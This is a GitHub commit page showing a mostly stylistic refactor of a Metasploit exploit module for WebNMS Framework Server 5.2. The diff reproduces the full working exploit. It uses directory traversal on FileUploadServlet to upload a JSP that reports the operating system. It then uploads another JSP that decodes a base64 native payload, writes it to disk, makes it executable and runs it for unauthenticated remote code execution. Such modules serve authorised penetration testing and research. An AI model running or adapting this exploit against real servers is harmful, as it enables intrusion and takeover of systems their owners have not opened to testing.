Skip to content

Commit ded4d31

Browse files
author
Pedro Ribeiro
authored
Merge pull request #29 from bwatters-r7/update-7062
Update 7062
2 parents eeba35f + 8968a66 commit ded4d31

File tree

1 file changed

+61
-63
lines changed

1 file changed

+61
-63
lines changed

modules/exploits/multi/http/webnms_file_upload.rb

Lines changed: 61 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -13,81 +13,87 @@ class MetasploitModule < Msf::Exploit::Remote
1313
include Msf::Exploit::EXE
1414

1515
def initialize(info = {})
16-
super(update_info(info,
17-
'Name' => 'WebNMS Framework Server Arbitrary File Upload',
18-
'Description' => %q{
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'WebNMS Framework Server Arbitrary File Upload',
20+
'Description' => %q(
1921
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
2022
unauthenticated user to upload text files by using a directory traversal attack
2123
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
2224
executes a malicious payload, achieving code execution under the user which the
2325
WebNMS server is running.
2426
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
2527
Windows and Linux.
26-
},
27-
'Author' =>
28-
[
29-
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
30-
],
31-
'License' => MSF_LICENSE,
32-
'References' =>
33-
[
34-
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
35-
],
36-
'DefaultOptions' => { 'WfsDelay' => 15 },
37-
'Privileged' => false,
38-
'Platform' => %w{ linux win },
39-
'Targets' =>
40-
[
41-
[ 'Automatic', { } ],
42-
[ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
43-
{
44-
'Platform' => 'linux',
45-
'Arch' => ARCH_X86
46-
}
28+
),
29+
'Author' =>
30+
[
31+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
4732
],
48-
[ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
49-
{
50-
'Platform' => 'win',
51-
'Arch' => ARCH_X86
52-
}
53-
]
54-
],
55-
'DefaultTarget' => 0,
56-
'DisclosureDate' => 'Jul 4 2016'))
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
37+
],
38+
'DefaultOptions' => { 'WfsDelay' => 15 },
39+
'Privileged' => false,
40+
'Platform' => %w(linux win),
41+
'Targets' =>
42+
[
43+
[ 'Automatic', {} ],
44+
[
45+
'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
46+
{
47+
'Platform' => 'linux',
48+
'Arch' => ARCH_X86
49+
}
50+
],
51+
[
52+
'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
53+
{
54+
'Platform' => 'win',
55+
'Arch' => ARCH_X86
56+
}
57+
]
58+
],
59+
'DefaultTarget' => 0,
60+
'DisclosureDate' => 'Jul 4 2016'
61+
)
62+
)
5763

5864
register_options(
5965
[
6066
OptPort.new('RPORT', [true, 'The target port', 9090]),
61-
OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
62-
], self.class)
67+
OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
68+
],
69+
self.class
70+
)
6371
end
6472

65-
6673
def check
67-
res = send_request_cgi({
74+
res = send_request_cgi(
6875
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
6976
'method' => 'GET'
70-
})
77+
)
7178
if res && res.code == 405
7279
return Exploit::CheckCode::Detected
7380
else
7481
return Exploit::CheckCode::Unknown
7582
end
7683
end
7784

78-
7985
def upload_payload(payload, is_exploit)
8086
jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp'
8187
if is_exploit
8288
print_status("#{peer} - Uploading payload...")
8389
end
84-
res = send_request_cgi({
90+
res = send_request_cgi(
8591
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
8692
'method' => 'POST',
8793
'data' => payload.to_s,
8894
'ctype' => 'text/html',
8995
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
90-
})
96+
)
9197

9298
if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
9399
if is_exploit
@@ -99,39 +105,37 @@ def upload_payload(payload, is_exploit)
99105
end
100106
end
101107

102-
103108
def pick_target
104109
return target if target.name != 'Automatic'
105110

106111
print_status("#{peer} - Determining target")
107-
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
112+
os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
108113
jsp_name = upload_payload(os_finder_payload, false)
109114

110-
res = send_request_cgi({
115+
res = send_request_cgi(
111116
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
112117
'method' => 'GET'
113-
})
118+
)
114119

115120
if res && res.code == 200
116121
register_files_for_cleanup('jsp/' + jsp_name)
117-
if res.body.to_s =~ /Linux/
122+
if res.body.include? "Linux"
118123
return targets[1]
119-
elsif res.body.to_s =~ /Windows/
124+
elsif res.body.include? "Windows"
120125
return targets[2]
121126
end
122127
end
123128

124129
return nil
125130
end
126131

127-
128132
def generate_jsp_payload
129-
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
133+
opts = { arch: @my_target.arch, platform: @my_target.platform }
130134
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
131135
exe = generate_payload_exe(opts)
132136
base64_exe = Rex::Text.encode_base64(exe)
133137

134-
native_payload_name = rand_text_alpha(rand(6)+3)
138+
native_payload_name = rand_text_alpha(rand(6) + 3)
135139
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
136140

137141
var_raw = rand_text_alpha(rand(8) + 3)
@@ -144,13 +148,13 @@ def generate_jsp_payload
144148

145149
if @my_target['Platform'] == 'linux'
146150
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
147-
chmod = %Q|
151+
chmod = %|
148152
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
149153
Thread.sleep(200);
150154
|
151155

152156
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
153-
cleanup = %Q|
157+
cleanup = %|
154158
Thread.sleep(200);
155159
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
156160
|
@@ -159,7 +163,7 @@ def generate_jsp_payload
159163
cleanup = ''
160164
end
161165

162-
jsp = %Q|
166+
jsp = %|
163167
<%@page import="java.io.*"%>
164168
<%@page import="sun.misc.BASE64Decoder"%>
165169
<%
@@ -182,16 +186,10 @@ def generate_jsp_payload
182186
}
183187
%>
184188
|
185-
186-
jsp = jsp.gsub(/\n/, '')
187-
jsp = jsp.gsub(/\t/, '')
188-
jsp = jsp.gsub(/\x0d\x0a/, "")
189-
jsp = jsp.gsub(/\x0a/, "")
190-
189+
jsp.delete!("\n\r\t")
191190
return jsp
192191
end
193192

194-
195193
def exploit
196194
@my_target = pick_target
197195
if @my_target.nil?
@@ -209,16 +207,16 @@ def exploit
209207

210208
jsp_payload = generate_jsp_payload
211209
jsp_name = upload_payload(jsp_payload, true)
212-
if jsp_name == nil
210+
if jsp_name.nil?
213211
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
214212
else
215213
register_files_for_cleanup('jsp/' + jsp_name)
216214
end
217215

218216
print_status("#{peer} - Executing payload...")
219-
send_request_cgi({
217+
send_request_cgi(
220218
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
221219
'method' => 'GET'
222-
})
220+
)
223221
end
224222
end

0 commit comments

Comments
 (0)